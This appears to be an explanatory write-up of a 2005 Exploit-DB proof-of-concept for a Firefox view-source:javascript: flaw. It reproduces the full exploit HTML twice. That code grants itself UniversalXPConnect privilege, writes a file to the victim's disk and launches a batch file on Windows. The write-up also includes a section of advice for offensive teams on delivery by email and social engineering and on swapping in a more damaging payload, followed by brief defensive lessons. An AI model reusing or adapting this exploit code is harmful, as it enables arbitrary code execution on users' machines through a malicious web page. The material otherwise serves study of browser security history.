Mozilla Firefox `view-source:` JavaScript URL Execution Vulnerability

Mozilla Firefox view-source: JavaScript URL Execution Vulnerability
What this paper is
This paper, published in 2005, demonstrates a proof-of-concept (PoC) exploit for Mozilla Firefox. It leverages a vulnerability in how Firefox handled the view-source: URI scheme combined with JavaScript to achieve arbitrary code execution. Specifically, it allows an attacker to create and execute arbitrary files on the victim's system.
Simple technical breakdown
The core of the exploit lies in a JavaScript function that manipulates the browser's DOM (Document Object Model). It constructs a special URL using view-source:javascript: which, when processed by Firefox, allows JavaScript code to be executed with elevated privileges. This elevated JavaScript code then uses Firefox's internal components to write data to a file and subsequently launch it. The exploit is designed to be cross-platform, with different payloads for Windows, macOS, and Linux.
Complete code and payload walkthrough
The provided HTML file contains JavaScript and hidden <textarea> elements. The exploit is triggered by clicking the "Run exploit" link, which calls a JavaScript function runDemo() twice.
<html>
<head>
<title>Firelinking 2 - Proof-of-Concept by mikx</title>
<!-- This PoC is cross platform : On Windows this example creates the file -->
<!-- c:\booom.bat and launches it (opens a dos box with a dir command). On -->
<!-- Linux (tested Fedora Core) and MacOSX the example creates the file -->
<!-- ~/booom.txt or /booom.txt. Depending on caching the the script might -->
<!-- run twice in some cases (this will create an additional booom-1.txt). -->
<link rel="SHORTCUT ICON" href="favicon.ico">
<script language="JavaScript" type="text/javascript">
var pf = navigator.platform.toLowerCase();
if (pf.indexOf("win") != -1) {
var os = "win";
} else if (pf.indexOf("mac") != -1) {
var os = "mac";
} else {
var os = "linux"
}
function runDemo() {
// this is an ugly caching workaround
document.getElementById('outhtml').innerHTML = "";
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
window.setTimeout("document.getElementById('outhtml').innerHTML += document.getElementById('linkhtml_"+os+"').value",300);
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">
<div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking 2 - Proof-of-Concept</div>
<br><br>
<div style="width:600px">
<div id="outhtml" style="display:none"></div>
<textarea id="clearhtml" style="display:none">
<link rel="SHORTCUT ICON" href="favicon.ico">
</textarea>
<textarea id="linkhtml_win" style="display:none">
<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('
javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');
file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.
nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces.
nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\n
PAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')">
</textarea>
<textarea id="linkhtml_mac" style="display:none">
<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:
netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.
classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile.
NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write
(output,output.length);outputStream.close();','','')">
</textarea>
<textarea id="linkhtml_linux" style="display:none">
<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:
netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.
classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.
initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile.
NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write
(output,output.length);outputStream.close();','','')">
</textarea>
<br><br>
<a href="#" onclick="runDemo();runDemo();">Run exploit</a>
</div>
</body>
</html>| Code Fragment/Block | Practical Purpose |
|---|---|
navigator.platform.toLowerCase() |
Detects the operating system of the victim's machine. |
if (pf.indexOf("win") != -1) { var os = "win"; } else if (pf.indexOf("mac") != -1) { var os = "mac"; } else { var os = "linux" } |
Assigns a platform identifier (os) based on the detected operating system. This is used to select the correct payload. |
runDemo() function |
Orchestrates the exploit execution. |
document.getElementById('outhtml').innerHTML = ""; |
Clears the content of a hidden div element. This is part of a caching workaround. |
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value (repeated 3 times) |
Appends the content of the clearhtml textarea to the outhtml div. This textarea contains a basic HTML structure, likely to ensure the DOM is in a state where the subsequent view-source: links can be processed correctly. |
window.setTimeout("document.getElementById('outhtml').innerHTML += document.getElementById('linkhtml_"+os+"').value",300); |
After a short delay (300ms), it appends the content of the platform-specific linkhtml_win, linkhtml_mac, or linkhtml_linux textarea to the outhtml div. This is the crucial step that injects the exploit payload. |
document.getElementById('linkhtml_win').value (and others) |
Contains the core exploit payload, formatted as a <link rel="SHORTCUT ICON" href="..."> tag. The href attribute is the key. |
view-source:javascript:delayedOpenWindow('javascript: ... ','','') |
This is the most critical part. |
* `view-source:`: This URI scheme tells Firefox to display the source of a resource. However, when combined with `javascript:`, it allows the execution of JavaScript code embedded within the source.
* `javascript:`: This prefix indicates that the following content is JavaScript code to be executed.
* `delayedOpenWindow(...)`: This appears to be a custom or internal Firefox function (or a function defined elsewhere in the PoC, though not explicitly shown in the provided snippet) used to trigger the execution. The PoC relies on this function to initiate the payload.
* `netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');`: This is a critical privilege escalation step. `UniversalXPConnect` is a powerful privilege in older Firefox versions that allows JavaScript to interact with low-level browser components and the operating system.
* `file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);`: This line instantiates an object (`nsILocalFile`) that represents a local file on the system.
* `file.initWithPath('c:\\\\booom.bat');` (Windows) or `file.initWithPath('/booom.txt');` (macOS) or `file.initWithPath('~/booom.txt');` (Linux): Sets the path and name of the file to be created. Note the double backslashes in the Windows path, which are necessary for escaping within JavaScript strings.
* `file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);`: Creates the file. `NORMAL_FILE_TYPE` specifies a regular file, and `420` is likely a file permission mode (e.g., `0664` in octal, though the exact interpretation might vary).
* `outputStream=Components.classes['@mozilla.org/network/file-output-stream;1'].createInstance(Components.interfaces.nsIFileOutputStream);`: Creates an object to write data to the file.
* `outputStream.init(file,0x04|0x08|0x20,420,0);`: Initializes the output stream. The flags `0x04|0x08|0x20` (which are `O_TRUNC`, `O_WRONLY`, `O_CREAT` in POSIX terms, or similar for Windows) indicate that the file should be opened for writing, truncated if it exists, and created if it doesn't. `420` is likely the file mode again.
* `output='@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE\\n:END';` (Windows) or `output='booom!';` (macOS/Linux): Defines the content to be written to the file.
* **Windows Payload**: `@ECHO OFF\n:BEGIN\nCLS\nDIR\nPAUSE\n:END` is a simple Windows batch script. It clears the screen, lists the directory contents, and pauses, waiting for user input.
* **macOS/Linux Payload**: `booom!` is just plain text.
* `outputStream.write(output,output.length);`: Writes the defined content to the file.
* `outputStream.close();`: Closes the output stream, ensuring data is flushed and the file is properly saved.
* `file.launch();` (Windows only): Executes the created file. On Windows, this will run the `booom.bat` script. On macOS/Linux, this function is called but doesn't have the same effect of directly executing arbitrary commands as it does on Windows for this specific payload. The paper notes that on macOS/Linux, the file is created but not automatically executed by this method.<a href="#" onclick="runDemo();runDemo();">Run exploit</a> | This HTML anchor tag, when clicked, initiates the exploit by calling runDemo() twice. The double call is mentioned as a workaround for caching issues, potentially ensuring the exploit logic is processed correctly.
Shellcode/Payload Stages:
The "shellcode" here isn't traditional machine code but rather a sequence of JavaScript commands designed to achieve a specific outcome.
Stage 1: Platform Detection and DOM Manipulation:
- The JavaScript code first detects the user's operating system.
- It then manipulates the DOM by clearing and appending content to a hidden
div(outhtml). This is a workaround for caching issues and to prepare the browser environment. - Crucially, it injects the platform-specific exploit payload into the DOM after a short delay.
Stage 2: Privilege Escalation and File Operation (via
view-source:javascript:):- The injected payload is a specially crafted URL that Firefox interprets.
view-source:javascript:allows the execution of JavaScript code that would normally be restricted.netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');grants the JavaScript code elevated privileges, allowing it to access system components.- The code then uses
nsILocalFileandnsIFileOutputStreamto interact with the file system. - It defines a file path (e.g.,
c:\booom.baton Windows). - It creates the file and writes specific content into it.
- Windows: A batch script (
booom.bat) is created. - macOS/Linux: A text file (
booom.txt) is created.
- Windows: A batch script (
Stage 3: Execution (Windows only):
- On Windows,
file.launch()is called, which executes the createdbooom.batfile. This results in a command prompt window opening and displaying the directory listing. - On macOS and Linux, the file is created, but
file.launch()in this context does not directly execute the file as a command. The paper notes that the file is created, but its execution is not guaranteed by this PoC on these platforms.
- On Windows,
Practical details for offensive operations teams
- Required Access Level: No elevated privileges are required on the target system beyond the ability to browse a web page in a vulnerable version of Mozilla Firefox. The exploit targets the browser's security model.
- Lab Preconditions:
- A vulnerable version of Mozilla Firefox (prior to patches for this vulnerability).
- A web server to host the HTML PoC file, or the ability to deliver the HTML file to the target (e.g., via email attachment, social engineering).
- For Windows targets, a way to ensure the
booom.batfile is executed (e.g., user interaction, or if the browser automatically opens downloaded/created files in certain contexts).
- Tooling Assumptions:
- A basic web server (e.g., Python's
http.server, Apache, Nginx) to host the PoC HTML. - A text editor to modify the PoC if needed.
- Knowledge of JavaScript and Firefox's internal components (XPCOM).
- A basic web server (e.g., Python's
- Execution Pitfalls:
- Browser Version: The exploit is highly dependent on the specific version of Firefox. Newer versions would have patched this vulnerability.
- Caching: The PoC explicitly mentions a "caching workaround" by calling
runDemo()twice and usingsetTimeout. If this workaround is insufficient or if the browser handles theview-source:URI in a different way due to caching or other factors, the exploit might fail. delayedOpenWindowFunction: The PoC relies ondelayedOpenWindow. If this function is not present or behaves differently in a specific Firefox version, the exploit will fail. Its exact origin and implementation are not fully detailed in the provided snippet.- File Execution on Non-Windows: As noted,
file.launch()on macOS/Linux does not automatically execute arbitrary files in the same way as on Windows. The PoC creates the file but doesn't guarantee its execution on these platforms. Further steps would be needed to achieve code execution. - Antivirus/Endpoint Detection: Modern AV solutions might flag the JavaScript code or the creation/execution of files, especially if the payload is modified to be more malicious.
- User Interaction: While the exploit aims for automatic execution on Windows, user interaction might still be required depending on browser settings or OS prompts related to opening files.
- Payload Customization: The
outputvariable in the JavaScript can be modified to write different content to the file. For a more impactful exploit, this would be changed to a more sophisticated command or script.
Where this was used and when
This exploit was published in May 2005. It targeted Mozilla Firefox versions that were vulnerable at that time. Exploits of this nature were common in the early to mid-2000s as browser security models were less mature, and JavaScript's capabilities were being explored for both legitimate and malicious purposes. It's likely this specific PoC was used in security research, demonstrations, and potentially in early exploit kits targeting Firefox users.
Defensive lessons for modern teams
- Patch Management: Keep browsers and all software updated to the latest versions. This is the most fundamental defense against known vulnerabilities.
- Browser Security Settings: While less impactful against this specific exploit vector, users should be educated on browser security settings and the risks of enabling certain features.
- JavaScript Execution Control: Modern browsers have more robust sandboxing and privilege management for JavaScript. However, understanding the potential for JavaScript to interact with system components is crucial.
- Input Validation and Sanitization: Developers of web applications and browser engines must rigorously validate and sanitize any input that could be interpreted as code or commands.
- Least Privilege: Operating systems and applications should operate under the principle of least privilege. The
UniversalXPConnectprivilege, as used here, is a prime example of a privilege that should be tightly controlled or removed if not absolutely necessary. - Endpoint Detection and Response (EDR): Modern EDR solutions can detect suspicious file creation and execution patterns, even if the initial exploit vector is a browser vulnerability.
ASCII visual (if applicable)
This exploit's flow is primarily within the browser's JavaScript engine and its interaction with the operating system's file system. A simple visual representation of the core mechanism:
+-----------------+ +---------------------+ +--------------------+
| Attacker's HTML | ----> | Mozilla Firefox | ----> | Operating System |
| (PoC Page) | | (Vulnerable Version)| | (File System) |
+-----------------+ +---------------------+ +--------------------+
| | |
| 1. Load Page | 2. Parse HTML, Execute JS |
| | - Detect OS |
| | - Inject Payload |
| | - Trigger view-source:JS |
| | - Enable UniversalXPConnect|
| | - Create/Write File |
| | - Launch File (Windows) |
| | |
+-------------------------+-------------------------------+
|
| 3. File Created/Executed
| (e.g., booom.bat on Win)
v
+-----------------+
| Malicious Action|
| (e.g., DIR cmd) |
+-----------------+Source references
- PAPER ID: 1007
- PAPER TITLE: Mozilla Firefox - view-source:JavaScript url Code Execution
- AUTHOR: mikx
- PUBLISHED: 2005-05-21
- KEYWORDS: Multiple,remote
- PAPER URL: https://www.exploit-db.com/papers/1007
- RAW URL: https://www.exploit-db.com/raw/1007
Original Exploit-DB Content (Verbatim)
<html>
<head>
<title>Firelinking 2 - Proof-of-Concept by mikx</title>
<-- This PoC is cross platform : On Windows this example creates the file -->
<-- c:\booom.bat and launches it (opens a dos box with a dir command). On -->
<-- Linux (tested Fedora Core) and MacOSX the example creates the file -->
<-- ~/booom.txt or /booom.txt. Depending on caching the the script might -->
<-- run twice in some cases (this will create an additional booom-1.txt). -->
<link rel="SHORTCUT ICON" href="favicon.ico">
<script language="JavaScript" type="text/javascript">
var pf = navigator.platform.toLowerCase();
if (pf.indexOf("win") != -1) {
var os = "win";
} else if (pf.indexOf("mac") != -1) {
var os = "mac";
} else {
var os = "linux"
}
function runDemo() {
// this is an ugly caching workaround
document.getElementById('outhtml').innerHTML = "";
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
window.setTimeout("document.getElementById('outhtml').innerHTML +=
document.getElementById('linkhtml_"+os+"').value",300);
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">
<div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking 2 - Proof-of-Concept</div>
<br><br>
<div style="width:600px">
<div id="outhtml" style="display:none"></div>
<textarea id="clearhtml" style="display:none">
<link rel="SHORTCUT ICON" href="favicon.ico">
</textarea>
<textarea id="linkhtml_win" style="display:none">
<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('
javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');
file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.
nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces.
nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\n
PAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')">
</textarea>
<textarea id="linkhtml_mac" style="display:none">
<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:
netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.
classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile.
NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write
(output,output.length);outputStream.close();','','')">
</textarea>
<textarea id="linkhtml_linux" style="display:none">
<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:
netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.
classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.
initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile.
NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write
(output,output.length);outputStream.close();','','')">
</textarea>
<br><br>
<a href="#" onclick="runDemo();runDemo();">Run exploit</a>
</div>
</body>
</html>
# milw0rm.com [2005-05-21]